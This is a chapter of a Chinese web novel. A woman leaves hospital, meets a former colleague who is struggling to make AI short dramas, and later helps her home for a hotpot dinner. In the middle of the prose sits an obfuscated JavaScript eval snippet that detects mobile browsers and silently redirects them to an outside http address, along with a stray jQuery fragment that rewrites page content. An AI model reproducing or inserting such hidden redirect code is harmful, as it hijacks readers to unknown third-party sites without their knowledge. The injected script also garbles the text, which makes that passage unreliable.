如安以柠所料,医生查房时叮嘱一番通知办完手续可以出院了。
检查报告显示她大问题没有,小毛病一堆。
令人意外的是,她和林瑄在护士站拿药时,遇上了同样来办理出院的杜思蒯。
林瑄欲言又止,盯着人打量好几个来回,见对方离开,立马凑近安以柠低声问:“她那样子能出院?”
安以柠不动神色退开些,“医生同意就能。”
林瑄看着消失在转角的单薄背影,惋惜地摇头叹气。
病房里,杜思蒯住院唯一出现过的同龄小伙伴正在帮她收拾笔记本电脑。
安以柠假装不知道杜思蒯要出院的消息,将早上卖的另一袋东西提给她。
“我不是本地人,出院不好带,留给思蒯吧,就当是前同事的一点小心意。”
小伙伴不疑有他,连声道谢。
安以柠点点头,下楼复印商业保险报销资料。
林瑄在病房里等护士把缺少的药送来,闲来无事和女孩随口聊着天。
结果太投入一直聊到安以柠询问的电话响起。
“走了姐妹,有缘再见。”林瑄挥挥手匆忙离开,跟正好进来的杜思蒯擦肩而过。
见人回来,小伙伴把安以柠的话转述一遍。
杜思蒯瞧着满当当的袋子,声音哽咽,“她是我以前的领导,对下面的人超级好。”
小伙伴打开袋子准备将里面的东西分类整理好,谁知一个厚实的红包突兀映入眼帘。
红包静静躺在各类滋补品保健品之间,其上龙飞凤舞写着“祝:早日康复”的字样,笔锋刚劲有力,十分漂亮。
杜思蒯眼眶一酸,抱着小伙伴失声痛哭。
另一边,安以柠回到陈霄家的民宿,继续无所事事地躺着。
“姨姨,明天要去白水台逛逛吗?”陈霄问。
“不去。”
“那虎跳峡呢?”
“看过了。”
陈霄不死心,扒拉着她的胳膊胡搅蛮缠,“这次还没看过,不作数。”
“大病初愈,我需要休息。”安以柠一本正经忽悠小孩。
“伍伍阿姨让我多带你出去走走,可是这么久了,我们只去过一次普达措公园。”陈霄模样为难极了。
小小的脑袋里,对伍爻的承诺和安以柠有理有据的言论相互打架,急得她不行。
“看把孩子委屈的。”林瑄将人抱坐在腿上哄着,“咱们等她多休息几天,然后再带她多出去走走。”
“她要是不去呢?”
林瑄眉毛一扬,旁若无人坏笑,“咱俩强行拖她出去。”
陈霄神情莫名纠结,看看安以柠又看看林瑄,最后看了看自己,小脸愁成一团,“我觉得我们俩拖不走她。”
“你看她那栓根线跑两步就能飞上天的小身板,姐姐我抗起来随便跑个几大圈。”
“你都还没有姨姨高。”陈霄瞧她的眼神一言难尽,低头在手机相册上一通翻找,把安以柠的照片举到她面前,“姨姨她们能一拳砸碎砖头,我们能吗?”
林瑄倒吸一口凉气,盯着照片上四个女孩整齐划一地出拳动作,以及满屏横飞的碎砖,实在难以想象其中之一居然是安以柠。
正在重新评估敌我双方差距时,手机屏幕上冷不丁投下阴影。
“照片哪来的?”安以柠站在两人身后问。
“伍伍阿姨给的。”陈霄答得麻溜,一股脑把伍爻卖了个干净彻底,“她第一次来的时候跟你一样,既不出去玩也不怎么和人说话,成天闷在房间里盯着照片看,我问她在看什么,她说在看她的闺蜜,舍不得跟他们分开。”
安以柠隐隐觉得这话透着古怪,但随后想想估计是孩子表达不到位的问题。
“我说你闺蜜真酷。”陈霄歪着脑袋,似在回忆当时的场景,“她笑笑,说她也是这么认为的,然后就说把照片送给我作纪念。”
安以柠捏捏她的脸蛋,“我也感觉你伍伍阿姨帅呆了,能把照片送我一份吗?”
大方的陈霄刚传完照片便被小伙伴叫走,哼着歌开开心心背上书包去学校。
林瑄不禁感慨,“还是上学好。”
“就是。”安以柠突然话锋一转,“所以年轻人,大好的时光你不思进取,天天搁这蹉跎啥呢?”
“我不愁吃不愁穿还刚拿下奖项,多休息几天怎么了?”林瑄气鼓鼓反驳,“谁要像你前同事似的,没日没夜拼命干活。”
“我前同事?”安以柠一时没反应过来。
“就医院里那个杜思什么的,你们公司待遇公认的好,也不晓得她当初离职是怎么想的。”
“告诉你个秘密。”安以柠侧头,笑眯眯看向她,“我刚从这家待遇公认好的公司离职。”
林瑄一口气险些没喘上来,暗暗庆幸自己用词尚且还算中性,没出现什么偏激词汇。
她一直以为安以柠休的是年假加病假,结果闹这么大一个乌龙。
林瑄尴尬得脚趾抠地,硬着头皮强行转移话题,“那什么,以柠姐,你前同事挺厉害的说,我看了部他们做的ai漫剧,很可以。”
“什么ai漫剧?”
“你不知道吗?她和今早那女孩两个人,组队做ai漫剧,女孩负责写故事她负责制作。”说着,林瑄点开某音递给她,“你瞧,是不是做得还行?”
某音的ai短剧质量良莠不齐,相较而言,她们的确实算得上精良。
安以柠脑海中浮现杜思蒯哭着加班的场景,“门槛越来越低,ai漫剧产能过剩,同质化严重加上监管收紧,早已沦陷为内卷式竞争。”
“她俩情况还不太一样。”林瑄看剧聊天两不误,“小伙伴是个写小说的,区别于其他使用爆款公式直接ai生成故事架构或者拿古早小说改编,她俩现写现做,漫剧更加丰富多彩。可惜再能耐也干不过ai,漫剧一出,数据好的立马被ai捕获,类似情节如雨后春笋般分分钟挤占市场。”
“ai发展太快了”安以柠轻叹。
“可不嘛,典型走别人的路,让别人无路可走。逼得两小姑娘入不敷出,准备等手上的漫剧完结后回去安安分分找个班上。”
“……”
都熬成那样了,还有始有终非得完结?
安以柠不懂她们的想法,在她眼里,这些都是已知的沉没成本,及时抽身止损才是最正确的选择。
“你说她当初要是没从你那离职,而是选择兼职ai漫剧,现在起码能有个谋生的活路,可以一直做下去。”
“……”
安以柠更无法理解她这种明知前面是南墙,还偏要一头撞上去死磕的想法。
本以为医院一别,和杜思蒯不会再有所交集。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17713006|208391||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
没曾想周末实在拗不过陈霄、林瑄,被他们强行拽出民宿。
“要去吃炸洋芋。”
“还要喝木瓜水。”
陈霄、林瑄两人一拍即合,压根没给安以柠开口的机会。
洋芋刚吃上一坨,木瓜水还没来得及戳开,三人眼睁睁看着迎面走来的女孩倒在面前。
安以柠下意识退后一步,抬头环视四周,确定所处的位置不是监控盲区。
谁知一低头,林瑄、陈霄已经一左一右将人扶到了旁边台阶上。
再一看,晕倒的女孩堪堪是上周才见过的杜思蒯。
“是她!你病友!”林瑄惊呼。
“我看到了。”安以柠俯视着悠悠转醒的杜思蒯,收回正准备拨通急救电话的手指。
原来掐人中真的管用。
“是低血糖吗?”林瑄撕开从民宿前台顺手揣来的糖果,塞进杜思蒯嘴里。
“会不会是中暑?”陈霄拧开瓶矿泉水递过去。
安以柠沉默片刻,皱眉开口,“送医院。”
但由于杜思蒯的再三坚持,医院到底没去成。
两个热心的人类一路将其护送回家,林瑄健谈,陈霄外向,反倒和杜思蒯认识更早的安以柠走在三人后面像个局外人。
杜思蒯家里冷冷清清的,本就不多的家具全是陈旧过时的老派风格。
采光倒是很好,然而缺少人气,反倒显得格外压抑。
“谢谢你们送我回来。”
“多大个事。”林瑄摆摆手,不放心地问,“你真没事吗?”
“真没事。”她挤出抹笑容,邀请三人留下吃饭。
“好呀好呀,我们煮火锅吃。”陈霄小朋友半点不讲客气,吭哧吭哧拉着林瑄出门买菜。
楼道里,两人掰着手指念菜名的声音清晰传来。
此时若再拒绝已经不合适了,安以柠太阳穴突突直跳,侧目看向厨房里弯腰找锅的杜思蒯。
她身上那种死人微活的感觉更浓烈了。
安以柠鬼使神差站起身,走进厨房。
“以柠姐?”杜思蒯满是疑惑。
安以柠回神,原本想说的话拐了个弯,改成需要帮忙吗?
人各有命,她连自己都管不好,凭什么去插手别人的人生。
买菜的两人很快提着大包小包回来,陈霄腕上挂着袋火锅底料,手里抱着瓶巨大的果汁饮料,连爬五楼,喘得上气不接下气。
“快,买多了,叫上你小伙伴一起来吃。”林瑄把菜放在地上,双手作扇,使劲在红扑扑的脸颊两边扇风,“我还点了奶茶,五杯。”
等敲门声没完没了响个不停,杂七杂八的外卖一个劲往家里送,杜思蒯才真正体会到她口中的“买多了”是怎么个多法。
“我发誓我不是故意的。”林瑄顶着四道难以忽视的目光,瑟瑟发抖从快递小哥手里接过满满一袋卤味。
“还有多少?”安以柠扶额。
“没多少了,我看看。”林瑄望向手机屏幕的视线飘忽不到,声音越说越小,“两件白桃味强爽,四板养乐多,两盒肥牛卷,两盒羊肉卷,两盒黄喉,一盒现切牛肉片,一盒手工馄饨,一瓶卤腐,一瓶花生酱,一个冰淇淋蛋糕,没了。”
“……”
安以柠眯了眯眼,“你最好现在立刻马上长出五个胃来。”